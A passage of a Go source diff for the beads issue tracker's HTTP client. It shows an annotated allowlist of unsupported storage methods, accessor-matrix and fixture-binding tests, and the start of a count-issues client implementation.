(role: Deleter)", + "DeleteIssues": "write: raw delete (role: Deleter)", + "DeleteIssuesBySourceRepo": "write: no source-repo delete operation", + "ImportIssueComment": "write: no comment-IMPORT operation. It is not AddIssueComment with a flag — it takes the created_at the comment is to be STORED with, and addComment publishes no such member deliberately (a stored time the caller supplied makes the row disagree with the entry that records it, which is createIssue's own argument about the creation stamp)", + "PromoteFromEphemeral": "write: no wisp-promotion operation", + "RemoveDependency": "write: raw edge remove (role: DependencyEditor)", + "RemoveDependencyWithOptions": "write: raw edge remove (role: DependencyEditor)", + "RemoveLabel": "write: raw incremental label remove (role: Lifecycle, via IssuePatch.Labels.Remove); AddLabel's reason exactly, on the other half of the same published pair", + "RenameLabel": "write: no wire operation renames a label across every carrier; v0 publishes no bulk label-rename route, and IssuePatch.Labels is a per-issue add/remove pair with no rename-and-report-merges shape", + "ReopenIssue": "write: raw reopen (role: Lifecycle)", + "UpdateIssue": "write: raw update (role: Lifecycle)", + "UpdateIssueChecked": "write: raw checked update (role: Lifecycle)", + "UpdateIssueID": "write: no id-rewrite operation", + "UpdateIssueType": "write: raw type rewrite (role: Lifecycle, via IssuePatch.IssueType). It said \"no type-rewrite operation\", and the wire has one: updateIssue publishes patch.issue_type (internal/httpapi/update.go) and this client EMITS it (lifecycle.go). So this is AddLabel's reason and not a wire gap — a raw front door beside a served role, kept unwired because re-routing it would put a second spelling of the edit beside the role's, with no actor and none of the patch algebra", + + // Leases. ClaimRequest carries only an actor; there is no lease vocabulary + // on the wire at all. + // + // THE TWO UNCLAIMS ARE NO LONGER PART OF THAT SENTENCE, and the split + // matters because it is the reason `bd unclaim` still refuses. The wire + // publishes releaseIssue (#5507) and the RELEASER ROLE dials it + // (releaser.go), including the compare-and-set on the holder that is exactly + // UnclaimIssueIfAssignee's question — so these are ordinary raw front doors + // now, kept unwired for CreateIssue's rule rather than for the absence of an + // operation. What has not moved is the LEASE row the release deletes: the + // role owns that as part of its post-state, and neither of these front doors + // can say anything about it, which is why the heartbeat and the reaper above + // keep the original reason. + "HeartbeatIssue": "lease: no wire vocabulary", + "ReclaimExpiredLeases": "lease: no wire vocabulary", + "UnclaimIssue": "write: raw release, force flag and all (role: Releaser). Re-routing it would put a second spelling of the transition beside the role's, with a bare error where the role answers the post-state row and its reminted version", + "UnclaimIssueIfAssignee": "write: raw conditional release (role: Releaser, via ReleaseRequest.ExpectedAssignee). Its expectation is a STRING where the role's is a POINTER, so it cannot express the one distinction the role's guard is built on — absent means 'do not check' and empty is a refusal, and this signature spells both as \"\"", + + // Config and metadata writes. + // + // SETTINGS ARE NO LONGER READ-ONLY over v0 — #5596 published both write + // operations and client wave ga-jpywb dials them — so these two entries keep + // their place for the reason UnclaimIssue and MergeMetadata keep theirs + // rather than for the reason they were written: they are the RAW front doors + // beside a served role. Re-routing them here would put a second spelling of + // the edit beside issueops.WorkspaceConfig's, with a different signature and + // none of the role's guards — SetConfig takes any key, the protected one + // included, and DeleteConfig reports nothing about what it removed. + // + // The two metadata entries are about DIFFERENT PLANES, which is why they no + // longer share a reason. SetMetadata writes the WORKSPACE's own key-value + // table — import hashes, `_project_id` — and no v0 operation touches it at + // all; the compare-and-set upstream added (#5473) is per-ISSUE metadata and + // answers a different question entirely. + // + // MergeMetadata is a raw per-issue write, and the wire CAN express what it + // does now that client wave ga-7i6by carries `patch.metadata`: a merge is + // MetadataPatch.Merge through Lifecycle.Update. It stays on the allowlist + // for the reason every other raw front door does — re-routing it here would + // put a second spelling of the edit beside the role's, with a different + // request shape and no actor rule — not because the wire cannot carry it. + "DeleteConfig": "write: raw settings remove (role: WorkspaceConfig, via UnsetSetting)", + "SetConfig": "write: raw settings write, protected key and all (role: WorkspaceConfig, via SetSetting). Its signature carries no guard and no per-key rule, so re-routing it would be a second door onto the plane that walks past the one issueops.SettingKeyIssuePrefix refusal exists for", + "SetMetadata": "write: the WORKSPACE metadata table has no wire operation at all; compareAndSetMetadata is the per-ISSUE plane (role: MetadataCAS)", + "MergeMetadata": "write: raw per-issue metadata merge (role: Lifecycle, via IssuePatch.Metadata.Merge)", + + // Repo mtime and merge slots: clone-local bookkeeping for a local database. + "ClearRepoMtime": "clone-local bookkeeping", + "GetRepoMtime": "clone-local bookkeeping", + "SetRepoMtime": "clone-local bookkeeping", + "SlotClear": "clone-local bookkeeping", + "SlotGet": "clone-local bookkeeping", + "SlotSet": "clone-local bookkeeping", + + // Counts. `getStats` answers the aggregate probes, and the two counts + // operations the wave-2 wire published are answered by ROLES — Counter over + // issues.count and GraphCounter over dependencies.count. These are the raw + // front doors beside them, and the split is no longer "no operation" for + // most of the list: + // + // - the four edge counts and the two issue counts stay unwired for the + // rule every other raw front door here follows (CreateIssue's, above): + // re-routing them would put a second spelling of the question beside the + // role's, with a WIDER request shape. CountIssues takes a free-text + // query and a whole types.IssueFilter — SkipWisps, IsTemplate, Pinned, + // ExcludeTypes and twenty more members issueops.CountRequest deliberately + // does not have — so a re-route would silently drop them, which is the + // one thing a count must never do; + // - CountDependentRecords is different and genuinely inexpressible: it is + // a DISTINCT count of edge rows, and the role's count is a SUM over the + // two dependency planes. issueops.AnchorEdgeCount.Count says so and says + // the two differ exactly where one row id lives in both tables; + // - CountEvents and CountIssueComments still have no operation at all. + "CountDependencies": "count: raw per-issue dependency count (role: GraphCounter, direction out)", + "CountDependentRecords": "count: a DISTINCT count of edge rows; the wire's count is a SUM across the two dependency planes and the two differ on a cross-table id collision", + "CountDependents": "count: raw per-issue dependent count (role: GraphCounter, direction in)", + "CountDependentsByStatus": "count: raw per-issue dependent count narrowed by status (role: GraphCounter, direction in plus Status)", + "CountEvents": "count: no counts operation", + "CountIssueComments": "count: no counts operation", + "CountIssues": "count: raw issue count taking a free-text query and a whole types.IssueFilter, whose members the count operation does not publish (role: Counter)", + "CountIssuesByGroup": "count: raw grouped issue count over the same wider filter (role: Counter)", + + // THERE ARE TWO EVENT PLANES AND THIS BLOCK IS ABOUT ONE OF THEM, which is + // the disambiguation the entries below used to leave unstated. "events: no + // wire surface" read as false the day GET /v0/beads/events landed and this + // client started reading it (journal.go), and it was never about that plane + // at all — the same shape SetMetadata's entry has to spell out for the two + // metadata planes. + // + // The five methods here are the AUDIT plane: storage.DoltStorage's own + // types.Event log, read by time or by issue id. No v0 operation touches it. + // The DURABLE MUTATION JOURNAL is a different question with a different + // record type, and this client serves it — journalops.Journal is not on + // storage.DoltStorage, so it sits on *Store as a type assertion a caller + // makes rather than as an accessor, and it is out of this allowlist's + // denominator entirely. + "EventsSince": "events (AUDIT plane): no wire surface for the types.Event log; the mutation JOURNAL is journalops.Journal over GET /v0/beads/events and is served", + "GetAllEventsSince": "events (AUDIT plane): no wire surface; see EventsSince", + "GetEvents": "events (AUDIT plane): no wire surface; see EventsSince", + "IterAllEventsSince": "events (AUDIT plane): no wire surface, and streaming has no wire shape either; see EventsSince", + "IterEvents": "events (AUDIT plane): no wire surface, and streaming has no wire shape either; see EventsSince", + + // Dependency and blocked-set raw reads. The served dependency surface is + // anchored (listDependencies takes >=1 issue_id) and role-shaped; these are + // the unanchored or off-role shapes. `bd blocked` and `bd ready --explain` + // refuse on these, which is why they are named in D7's refused class. + "DetectCycles": "raw read: role CycleDetector serves this shape", + "FindWispDependentsRecursive": "raw read: no recursive-dependents operation", + "GetAllDependencyRecords": "raw read: listDependencies is anchored (L8, `bd list --deps`)", + "GetBlockedIssues": "raw read: no blocked-set operation (`bd blocked`)", + "GetBlockingInfoForIssues": "raw read: role BlockingAnnotator serves this shape", + "GetDependencies": "raw read: role EdgeReader serves this shape", + "GetDependencyCounts": "raw read: the paired blocks-only batch, expressible as two GraphCounter calls with Types set to the blocking type — the role's own leaf declines to name it as a third method, and re-routing it here would invent the map-of-two-numbers shape no wire operation carries", + "GetDependencyTree": "raw read: role TreeWalker serves this shape", + "GetDependentRecords": "raw read: no dependents operation off getIssue", + "GetDependencyRecordsForIssues": "raw read: no multi-id dependencies operation; the source-keyed, multi-id mirror of GetDependentRecordsForIssues' target-keyed shape — same gap, opposite direction", + "GetDependentRecordsForIssues": "raw read: no multi-id dependents operation", + "GetDependents": "raw read: no dependents operation off getIssue", + "IsBlocked": "raw read: role BlockingAnnotator serves this shape", + "IsBlockedBatch": "raw read: role BlockingAnnotator serves this shape", + "IterAllDependencyRecords": "raw read: streaming has no wire shape", + "IterDependenciesWithMetadata": "raw read: streaming has no wire shape", + "IterDependentsWithMetadata": "raw read: streaming has no wire shape", + + // Comment reads beyond getIssue's include_comments. + "GetCommentCounts": "raw read: no comment-count operation", + "GetCommentsForIssues": "raw read: comments ride include_comments, one issue at a time", + "GetIssueCommentsPage": "raw read: no comment paging operation", + "IterIssueComments": "raw read: streaming has no wire shape", + + // Issue reads with no wire mapping. + "GetEpicsEligibleForClosure": "raw read: no epic-eligibility operation", + "GetIssueByExternalRef": "raw read: no external-ref lookup operation", + "GetIssuesByIDs": "raw read: multi-id fan-out belongs to the SearchIssues IDs shape", + "GetIssuesByLabel": "raw read: role Reader serves the label filter (ListRequest.Labels). It said \"no label-filtered operation\", and listIssues publishes label, label_any and exclude_label — the encoder sends all three. What is true is that Reader.List does not answer THIS question: this method unions the durable and wisp planes with no status, type or plane suppression at all and its own priority/created order, where the listing answers the durable plane under workapi's default suppressions. Re-routing it would be a second spelling that returns a different set", + "GetLabelsForIssues": "raw read: no multi-id label operation", + "GetNewlyUnblockedByClose": "raw read: no unblocked-by-close operation", + "GetNextChildID": "raw read: id allocation is a server-side act", + "GetStaleIssues": "raw read: no staleness operation", + "GetStatisticsNoBlocked": "raw read: getStats has no blocked-suppression variant", + "SearchIssueIDs": "raw read: no partial-id search operation (D11)", + "SearchIssueSummaries": "raw read: no summary-projection search operation; SearchIssues (role: Searcher) hydrates full issues, and the wire publishes no narrower searchIssues projection for list-shaped rendering to drop onto", + "SearchIssuesWithCounts": "raw read: no counts-bearing search operation", + + // Streaming iterators. Every wire read is a page, not a stream. + "IterBlockedIssues": "raw read: streaming has no wire shape", + "IterIssues": "raw read: streaming has no wire shape", + "IterReadyWork": "raw read: streaming has no wire shape", + "IterWisps": "raw read: streaming has no wire shape", + "ListWisps": "raw read: no operation answers the EPHEMERAL PLANE ALONE. listIssues' include_ephemeral admits that plane into a merged listing (which is why L1 retired), and a merged page is not this method's answer", + + // Molecule progress reads. + "GetMoleculeLastActivity": "raw read: no molecule operation", + "GetMoleculeProgress": "raw read: no molecule operation", + + // Transactions. A multi-statement transaction cannot span HTTP requests; + // each wire write is its own transaction server-side. + "RunInTransaction": "transaction: cannot span requests", + "RunInIssueLifecycleTransaction": "transaction: cannot span requests", +} + +var shellMethodRe = regexp.MustCompile(`func \(unsupportedDoltStorage\) ([A-Za-z0-9]+)\(`) + +// TestInterfaceCompleteness is the STRUCTURAL half: the generated refusing shell +// must equal the allowlist exactly. A method that drifts into the shell without +// a reason is a silent capability loss; an allowlist entry no longer in the +// shell is a stale justification for something now implemented. +func TestInterfaceCompleteness(t *testing.T) { + data, err := os.ReadFile("unsupported_gen.go") + if err != nil { + t.Fatalf("read unsupported_gen.go: %v", err) + } + shell := map[string]bool{} + for _, m := range shellMethodRe.FindAllStringSubmatch(string(data), -1) { + shell[m[1]] = true + } + if len(shell) == 0 { + t.Fatal("parsed 0 shell methods — regex or file drift") + } + + var names []string + for name := range shell { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + if _, ok := legitimatelyUnsupported[name]; !ok { + t.Errorf("method %q resolves to the typed-unsupported shell but is NOT in legitimatelyUnsupported: "+ + "implement it on *Store (then regenerate the shell: go generate ./internal/httpclient), or add it here with a reason", name) + } + } + + names = names[:0] + for name := range legitimatelyUnsupported { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + if !shell[name] { + t.Errorf("method %q is in legitimatelyUnsupported but no longer in the shell (implemented?): "+ + "remove the allowlist entry", name) + } + } +} + +// TestUnsupportedContract is the BEHAVIORAL half: every allowlisted method must +// really return a typed *storage.ErrUnsupported naming itself. DB-free and +// network-free — the generated stubs ignore their receiver, so a zero-value +// store answers them. +func TestUnsupportedContract(t *testing.T) { + conformance.RunUnsupportedContract(t, &Store{}, legitimatelyUnsupported) +} + +// wireBackedAccessors is design D8's matrix, spelled as code: the role accessors +// with a v0 operation behind them. +// +// THE THREE QUALIFIERS THIS LINE CARRIED ARE DOWN TO ONE. It read "one partial — +// WorkspaceConfig, whose write verbs have no operation — and two composed, +// ReadyClaimer and BatchCloser", and client wave ga-jpywb falsified two of the +// three clauses. WorkspaceConfig is no longer partial: #5596 published both +// write verbs and the accessor dials them, so the partial column is EMPTY. +// ReadyClaimer is no longer composed in the sense this line meant it: it dials +// claimNext (#5510) and keeps the composition only as a capability-gated +// down-level leg, which is a fallback rather than the way the role is served. +// BatchCloser is the last one, and it has the same shape for the same reason — +// issues.batchClose where advertised, a single closeIssue where not. +// +// So the qualifier that survives is "one accessor whose down-level leg is a +// composition, and one more beside it", which is a statement about SERVER AGE +// rather than about the wire's surface. The distinction is worth keeping +// separate from the count below: every name here has a v0 operation behind it +// today, and that was not true when the list was written. +// +// IssueLifecycle left the partial column with client wave ga-jbuyf: createIssue +// was the operation its Create half had nothing to dial, and upstream #5483 +// published it. +// +// The design page records seventeen because its row 17 was PENDING-DECISION when +// it was written. The decision recorded on ga-141ra moved BatchCloser across: +// `bd close` routes every id, single-id included, through CloseBatch, so leaving +// it refused left an http workspace with no close path at all while the server +// advertised issues.close to nobody. +// +// MetadataCAS and BatchApplier are the two the upstream sync added +// (compareAndSetMetadata #5473, applyBatch #5480), and they were the whole +// population of pendingWireBackedAccessors below, which is what that list was +// written for. MetadataCAS left it with client wave ga-7i6by. +// Counter and GraphCounter are the twenty-first and twenty-second, from client +// wave ga-icks1: countIssues (#5508) and dependencies.count (#5536) were both +// published by the wave-2 wire sync and both accessors landed with the same +// wave, so neither spent a PR in pendingWireBackedAccessors below. +// +// Releaser, Commenter and IssueRelations are the twenty-third, twenty-fourth +// and twenty-fifth, from client wave ga-f352s. All three had been published +// upstream ahead of this client — releaseIssue #5507, addComment #5594, +// listRelatedIssues #5540 — and all three landed in ONE wave, so none of them +// spent a PR in pendingWireBackedAccessors either. What they have in common is +// the shape of the port rather than the shape of the operation: each maps member +// for member, and what each one cost was a decision about the ANSWER — an +// anonymous post-state, a stored row that must not be discarded, and a +// single-anchor miss that is a 404 rather than a sentinel. +// +// ReadyLister is NOT in this list. S3 reconciliation (2026-10) removed it: bd-enterprise's issueops.ReadyLister/ReadyListRequest/ +// ReadyListing have no OSS counterpart at all — there is no v0 route table +// entry and no role type to accept one — so there is nothing for an accessor +// to return. S13 schedules it; until then this is a twenty-fifth row neither +// here nor in refusingAccessors, because OSS's storage.DoltStorage does not +// define a ReadyLister method for the matrix to count either way. +// BatchGetter is the twenty-sixth, and the first accessor added to this +// matrix since client wave ga-f352s: S3 reconciliation's own rebase onto +// origin/main brought in upstream #7248's issueops.BatchGetter (the +// batchGetIssues operation, POST /v0/beads/issues:batchGet), which +// storage.DoltStorage now requires of every leg. Unlike every accessor +// before it, it was never a bare interface-completeness stub waiting on a +// client wave of its own — it arrived as a brand-new role on the SAME PR +// that wired it, so it spent no PR in pendingWireBackedAccessors below. See +// batchgetter.go. +var wireBackedAccessors = []string{ + "IssueReader", "ReadyCounter", "IssueClaimer", "ReadyClaimer", "Querier", + "StatsReporter", "CycleDetector", "TreeWalker", "EdgeReader", + "BlockingAnnotator", "WorkspaceConfig", "Sweeper", "Deleter", "BatchCreator", + "Memories", "IssueLifecycle", "DependencyEditor", "BatchCloser", + "MetadataCAS", "BatchApplier", "Counter", "GraphCounter", + "Releaser", "Commenter", "IssueRelations", "BatchGetter", +} + +// refusingAccessors is the complement: the ones with no wire operation at all. +// +// IT NO LONGER HAS A SECOND CLAUSE. The list used to read "or with one this +// client has no wave behind yet", and three of its six names were in that second +// state — Releaser, Commenter and IssueRelations, each with a complete operation +// upstream and no accessor here. Client wave ga-f352s wired all three, so what +// is left is the first clause alone: three acts that are about a database this +// process does not have, which no wire operation will ever answer for a client. +var refusingAccessors = []string{ + "VersionReconciler", "Bootstrapper", "InitVerifier", +} + +// pendingWireBackedAccessors are the wire-backed rows of D8's matrix whose role +// is not wired YET: the server advertises the operation, but the accessor still +// refuses through (*Store).unsupported until its role bead lands. They are a +// subset of wireBackedAccessors, split out so the behavioral probe can demand +// that every OTHER wire-backed accessor already returns a live role while these +// still refuse — which is what forces a flip to move the name across in the same +// PR as the wiring. +// +// IT WAS EMPTY, and the case it was kept for arrived: "a v0 operation landing +// upstream tomorrow gets an accessor that refuses for exactly one PR, and this +// is the list that says so out loud." Two did — compareAndSetMetadata (#5473) +// and applyBatch (#5480) — and their accessors refused in accessors.go until +// the ports landed. MetadataCAS's did, with client wave ga-7i6by, and moving +// its name out of this list was not optional: the probe below fails the day a +// pending role starts answering, which is the flip rule enforced behaviorally. +// +// Leaving these OFF the matrix entirely was the alternative, and it is the one +// that hides them: an accessor named nowhere is an accessor no gate reads, so +// nothing would have failed on the day one was wired without review. +// IT IS EMPTY AGAIN, and that is the list working rather than the list being +// pointless: both names that entered it have left it through the flip rule the +// probe below enforces — MetadataCAS with client wave ga-7i6by, BatchApplier +// with ga-mijra — and the next operation the wire publishes ahead of its client +// wave lands here for exactly one PR. +var pendingWireBackedAccessors = []string{} + +// TestAccessorMatrixMatchesDesign pins the 25/3 split against the allowlist so a +// role accessor cannot change sides without the design row changing with it. +// +// The numbers are the LIST's, not a literal: the design page recorded 20/8 when +// it was written and five accessors have crossed since (Counter and GraphCounter +// with ga-icks1; Releaser, Commenter and IssueRelations with ga-f352s). The +// three that remain refusing are permanently unservable, so this ratio only +// moves again if the tier itself grows. +// +// S3 reconciliation removed ReadyLister from both sides of this split: OSS has +// no issueops.ReadyLister at all (S13), so there is no accessor name for the +// matrix to count on either the wire-backed or the refusing side. +// This is the capability-matrix flip rule applied to the store: a refuse→served +// flip lands in the same PR as the method that serves it. +func TestAccessorMatrixMatchesDesign(t *testing.T) { + if got, want := len(wireBackedAccessors)+len(refusingAccessors), 29; got != want { + t.Fatalf("the matrix covers %d accessors, want %d", got, want) + } + for _, name := range wireBackedAccessors { + if reason, ok := legitimatelyUnsupported[name]; ok { + t.Errorf("%q is wire-backed in D8 but sits on the unsupported allowlist (%q): "+ + "it belongs in accessors.go, refusing until its role bead lands", name, reason) + } + } + for _, name := range refusingAccessors { + if _, ok := legitimatelyUnsupported[name]; !ok { + t.Errorf("%q refuses in D8 but is not on the unsupported allowlist", name) + } + } +} + +// TestWireBackedAccessorsAreBehaviorallyWired is the behavioral half of the +// matrix. TestAccessorMatrixMatchesDesign pins the split STRUCTURALLY — which +// names sit on the unsupported allowlist — but cannot tell a wired accessor from +// one still handing back (*Store).unsupported, because both compile and both +// satisfy the interface. This one CALLS each accessor: a wired one must not +// return the typed sentinel for a valid call, and a pending one must. So 'wired' +// comes to MEAN 'does not refuse', and the day a pending role is wired this test +// fails until its name moves out of pendingWireBackedAccessors — the flip rule, +// enforced behaviorally. +func TestWireBackedAccessorsAreBehaviorallyWired(t *testing.T) { + pending := map[string]bool{} + for _, name := range pendingWireBackedAccessors { + if !slices.Contains(wireBackedAccessors, name) { + t.Errorf("%q is listed pending but is not a wire-backed accessor", name) + } + pending[name] = true + } + + // A store with a transport, so the accessors that narrow it (roleWire) build + // their role rather than reporting the no-transport build fault. Constructing a + // role dials nothing, and neither does (*Store).unsupported, so this stays a + // server-free smoke. + s := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + + for _, name := range wireBackedAccessors { + method := reflect.ValueOf(s).MethodByName(name) + if !method.IsValid() { + t.Errorf("%q is not a method on *Store", name) + continue + } + out := method.Call(nil) + if len(out) != 2 { + t.Errorf("%s returns %d values, want (role, error)", name, len(out)) + continue + } + err, _ := out[1].Interface().(error) + + var unsup *storage.ErrUnsupported + refused := err != nil && errors.As(err, &unsup) + switch { + case pending[name]: + if !refused { + t.Errorf("%s is listed pending but does NOT return the typed sentinel (err=%v): "+ + "its role is wired — move it out of pendingWireBackedAccessors", name, err) + } + case refused: + t.Errorf("%s is wire-backed but still returns the typed sentinel (%v): "+ + "wire its role, or list it in pendingWireBackedAccessors", name, err) + case err != nil: + t.Errorf("%s returned a non-sentinel error on a valid call: %v", name, err) + } + } +} diff --git a/internal/httpclient/composition_test.go b/internal/httpclient/composition_test.go new file mode 100644 index 000000000..4025df8e4 --- /dev/null +++ b/internal/httpclient/composition_test.go @@ -0,0 +1,143 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/composition_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/storage" +) + +// The served-surface composition fixture shape. +// +// Behavior parity for this backend is proved by running the per-role conformance +// contracts through client → in-process `bd serve` → reference store, never by +// bare RunAll: RunAll's Factory contract wants a write-ready store and its cases +// seed through raw CreateIssue/SetConfig, both of which this backend refuses. +// +// The binding rule that makes the composition honest is that SEEDING NEVER GOES +// THROUGH THE CLIENT. Each fixture's seed handles bind to the reference store the +// server serves; only the subject role binds to the http client. A fixture that +// seeded through the client would prove the client agrees with itself. +// +// This bead bootstraps the shape and its invariants. Standing up the in-process +// server and wiring the per-role contracts onto it is ga-soq7e's work. + +// servedFixture is what a per-role contract binds against. +type servedFixture struct { + // Reference is the store the server serves — the seed handle. Contracts + // write their preconditions here. + Reference storage.DoltStorage + // Subject is the http client store under test. Contracts read and exercise + // the role through this and only this. + Subject *Store + // BaseURL is the address the in-process server bound. + BaseURL string +} + +// errSeedsThroughClient reports the one binding that silently invalidates every +// contract run through the fixture. +var errSeedsThroughClient = errors.New( + "served fixture seeds through the client: the seed handle must be the server's reference " + + "store, or the contract proves only that the client agrees with itself") + +// checkFixtureBinding validates a binding before it is used. It is separate from +// newServedFixture so the invariant itself is testable without a live harness. +func checkFixtureBinding(reference storage.DoltStorage, subject *Store) error { + if reference == nil { + return errors.New("served fixture needs a reference store to seed through") + } + if subject == nil { + return errors.New("served fixture needs a client store as its subject") + } + if reference == storage.DoltStorage(subject) { + return errSeedsThroughClient + } + return nil +} + +// newServedFixture binds a reference store and a client store into the shape +// above. +func newServedFixture(t *testing.T, reference storage.DoltStorage, subject *Store, baseURL string) servedFixture { + t.Helper() + if err := checkFixtureBinding(reference, subject); err != nil { + t.Fatal(err) + } + return servedFixture{Reference: reference, Subject: subject, BaseURL: baseURL} +} + +// bindRole is how a role contract asks the fixture for its subject. It returns +// the accessor's error unchanged, so a contract wired before its role bead lands +// FAILS rather than skips — refusals are owned by the unsupported contract, not +// by skipped conformance cases. +func (f servedFixture) bindRole(bind func(*Store) error) error { + return bind(f.Subject) +} + +// stubReference is a placeholder seed handle: it exists so the fixture shape can +// be exercised before the in-process server harness lands. ga-soq7e replaces it +// with the real embedded-Dolt store the server serves. +type stubReference struct{ *Store } + +// TestFixtureBindingRejectsSeedingThroughTheClient pins the invariant. It is the +// one thing about the composition that cannot be checked by reading the fixture +// wiring later, once there are seventeen of them. +func TestFixtureBindingRejectsSeedingThroughTheClient(t *testing.T) { + subject := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + + if err := checkFixtureBinding(subject, subject); !errors.Is(err, errSeedsThroughClient) { + t.Errorf("binding the client as its own seed handle = %v, want a refusal", err) + } + if err := checkFixtureBinding(nil, subject); err == nil { + t.Error("binding with no reference store was accepted") + } + if err := checkFixtureBinding(stubReference{subject}, nil); err == nil { + t.Error("binding with no subject was accepted") + } +} + +// TestServedFixtureBindsSubjectAndReferenceApart is the positive arm. +func TestServedFixtureBindsSubjectAndReferenceApart(t *testing.T) { + subject := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + reference := stubReference{New(testTarget(t), nil, nil)} + + f := newServedFixture(t, reference, subject, "http://127.0.0.1:7777") + if f.Subject != subject { + t.Error("fixture bound the wrong subject") + } + if f.Reference == storage.DoltStorage(f.Subject) { + t.Error("fixture bound one store as both seed handle and subject") + } +} + +// TestServedFixtureRoleBindingFailsRatherThanSkips: until a role bead lands, its +// accessor refuses, and a contract wired against it must surface that refusal. +func TestServedFixtureRoleBindingFailsRatherThanSkips(t *testing.T) { + subject := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + reference := stubReference{New(testTarget(t), nil, nil)} + f := newServedFixture(t, reference, subject, "http://127.0.0.1:7777") + + // VersionReconciler is the sample: this case needs an ACCESSOR — that is what + // bindRole takes — and it asserts only the typed sentinel and its Op, both + // of which the generated shell's refusal carries. So unlike the two refusal + // tests in store_test.go it does not need a store-bound refusal, and it must + // use one of the accessors that refuses PERMANENTLY rather than one that + // eventually flips. + // + // It used to be Commenter, chosen when that was one of seven permanent + // refusals. It stopped being one: #5594 published addComment and client wave + // ga-f352s wired the accessor, so this case failed the day the role started + // answering — which is the flip rule finding a second, unplanned home. The + // sample is now a role no wire operation can ever answer for a client: + // version markers are clone-local, so there is nothing for a server to serve. + err := f.bindRole(func(s *Store) error { + _, err := s.VersionReconciler() + return err + }) + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Op != "VersionReconciler" { + t.Fatalf("role binding returned %v, want the typed refusal naming VersionReconciler", err) + } +} diff --git a/internal/httpclient/counter.go b/internal/httpclient/counter.go new file mode 100644 index 000000000..8fe62e1ea --- /dev/null +++ b/internal/httpclient/counter.go @@ -0,0 +1,191 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/counter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "slices" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpCounter is issueops.Counter over countIssues (GET /v0/beads/issues:count) +// — the operation behind `bd count`, and the TWENTY-FIRST wire-backed accessor. +// +// ONE OPERATION, TWO METHODS. `group_by` chooses between them, which is the +// role's own shape rather than this layer's: a grouped count is the scalar +// count plus a dimension, asked of the same set. So both methods encode through +// one builder and dial one path, and the only thing that differs is the one +// parameter and the one response member. +// +// WHAT A COUNT MAKES DIFFERENT from every other read here is that its answer +// carries no evidence of the set it came from. A listing that quietly widened +// hands back rows a caller can look at; a count hands back a number, and a +// number computed from a filter this client forgot to send is indistinguishable +// from the right one. That is why the encoder's refusal walk runs on a request +// whose every member the wire publishes: today it refuses nothing, and the day +// upstream adds a twenty-fourth member it refuses rather than answering about a +// wider set. +type httpCounter struct{ store *Store } + +// Count returns how many issues match. +func (c httpCounter) Count(ctx context.Context, req issueops.CountRequest) (issueops.CountResult, error) { + if err := c.refuseUnservedScope(ctx, "Counter.Count", req); err != nil { + return issueops.CountResult{}, err + } + params, err := encode.CountParams(req) + if err != nil { + return issueops.CountResult{}, c.store.inexpressible("Counter.Count", err) + } + var body apigen.IssueCount + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountIssues, + Method: http.MethodGet, + Path: wire.PathIssuesCount, + Query: params, + }, &body); err != nil { + return issueops.CountResult{}, err + } + // Total is int64 end to end — apigen's member, the role's result and the + // document's `format: int64` are one width. A workspace's row count is not + // bounded by 2^53, and a lossy read would answer a number NEAR the + // cardinality, which on a count is worse than an error because nothing + // downstream can tell. + return issueops.CountResult{Total: body.Total}, nil +} + +// CountByGroup returns the same count bucketed by one dimension, plus the +// scalar total of the whole matching set. +func (c httpCounter) CountByGroup(ctx context.Context, req issueops.CountByGroupRequest) (issueops.CountByGroupResult, error) { + if err := validateCountGroup(req.GroupBy); err != nil { + return issueops.CountByGroupResult{}, err + } + if err := c.refuseUnservedScope(ctx, "Counter.CountByGroup", req.Filter); err != nil { + return issueops.CountByGroupResult{}, err + } + params, err := encode.CountByGroupParams(req) + if err != nil { + return issueops.CountByGroupResult{}, c.store.inexpressible("Counter.CountByGroup", err) + } + var body apigen.IssueCount + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountIssues, + Method: http.MethodGet, + Path: wire.PathIssuesCount, + Query: params, + }, &body); err != nil { + return issueops.CountByGroupResult{}, err + } + groups, err := decodeCountGroups(body.Groups) + if err != nil { + return issueops.CountByGroupResult{}, err + } + // Total is NOT the sum of the buckets and is not recomputed from them here: + // label buckets overlap, so an issue carrying three labels is one row in the + // total and one row in three buckets. The server answers both numbers and + // this reads both. + return issueops.CountByGroupResult{Groups: groups, Total: body.Total}, nil +} + +// refuseUnservedScope is the pre-dial half of S8's client-skew note +// (internal/httpapi/routes.go, beside CapIssuesCountScope): a request that +// sets ParentID, NoParent, ExcludeTypes or ExcludeStatus asks for something +// only a server advertising issues.count.scope answers, and an older server +// predating the token answers all four with a guaranteed 400 +// invalid_argument/unknown_parameter. +// +// It is called BEFORE encode.CountParams/CountByGroupParams, so a server that +// cannot serve the scope never sees the request at all — never a wasted round +// trip for a guaranteed refusal, and never a silent drop of the fields that +// would answer a wider count than the caller asked for. The dispatch path's +// own Preflight (dispatch.go) only gates the OPERATION as a whole via its +// coarse per-op token (issues.count); it has no visibility into which fields +// a particular request populates, which is why this finer-grained behavior +// check has to live here, explicitly, rather than ride the generic path. +// +// A request with none of the four fields set never dials the handshake for +// this check at all — snapshot() is only consulted when there is something to +// gate, so a plain, scope-free count against an old server pays nothing extra. +func (c httpCounter) refuseUnservedScope(ctx context.Context, op string, req issueops.CountRequest) error { + if req.ParentID == "" && !req.NoParent && len(req.ExcludeTypes) == 0 && len(req.ExcludeStatus) == 0 { + return nil + } + snap, err := c.store.snapshot(ctx) + if err != nil { + return err + } + if slices.Contains(snap.Capabilities, wire.CapCountScope) { + return nil + 